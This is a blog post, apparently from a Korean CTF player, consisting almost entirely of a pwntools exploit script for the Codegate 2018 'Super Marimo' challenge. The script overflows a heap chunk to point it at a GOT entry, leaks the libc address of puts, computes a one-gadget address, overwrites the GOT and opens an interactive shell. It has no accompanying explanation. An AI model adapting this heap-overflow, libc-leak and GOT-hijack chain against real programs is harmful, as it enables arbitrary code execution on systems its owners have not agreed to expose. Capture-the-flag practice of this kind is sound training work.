# exploit.py

from pwn import *
from time import *


def ShowMe(name, profile):

        p.sendline('show me the marimo')
        print p.recvuntil('>> ')

        p.sendline(name)
        print p.recvuntil('>> ')

        p.sendline(profile)
        print p.recvuntil('>> ')

 

def View(index, data):

        p.sendline('V')
        print p.recvuntil('>> ')

        sleep(3)

        p.sendline(index)
        print p.recvuntil('>> ')

        p.sendline('M')
        print p.recvuntil('>> ')

        p.sendline(data)
        print p.recvuntil('>> ')

        p.sendline('B')
        print p.recvuntil('>> ')

 

def Leak(index):

        global puts, oneshot

        p.sendline('V')
        print p.recvuntil('>> ')

        p.sendline(index)
        data = p.recvuntil('>> ')

        puts = u64(data[82:88].ljust(8,'\x00'))
        libc = puts - 0x6f690
        oneshot = libc + 0x45216

        log.info('puts_libc = ' + hex(puts))
        log.info('libc = ' + hex(libc))
        log.info('oneshot = ' + hex(oneshot))

        p.sendline('B')
        print p.recvuntil('>> ')


def exploit(data):

        p.sendline('V')
        print p.recvuntil('>> ')

        p.sendline('0')
        print p.recvuntil('>> ')

        p.sendline('M')
        print p.recvuntil('>> ')

        p.sendline(data)
        print p.recvuntil('>> ')

        p.sendline('B')
        print p.recvuntil('>> ')

        p.sendline('V')
        print p.recvuntil('>> ')

        p.sendline('1')
        print p.recvuntil('>> ')

        p.sendline('M')
        print p.recvuntil('>> ')

        p.sendline(p64(oneshot))

        p.interactive()

 


if __name__ == '__main__':

        p = process('./marimo')

        print p.recvuntil('>> ')

        ShowMe('AAAA', 'BBBB')
        ShowMe('AAAA', 'BBBB')


        View('0', 'B'*32 + p64(0x0) + p64(0x21) + p64(0xffffffff) + p64(0x603018))

        Leak('1')

        exploit('C'*32 + p64(0x0) + p64(0x21) + p64(0xffffffff) + p64(0x603018) + p64(0x603018))

'ctf' 카테고리의 다른 글

[DEFCON 2018 CTF] ELF Crumble  (0) 2018.06.02
[Codegate 2018 CTF] Super Marimo  (0) 2018.02.08
[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
Posted by woodonggyu

댓글을 달아 주세요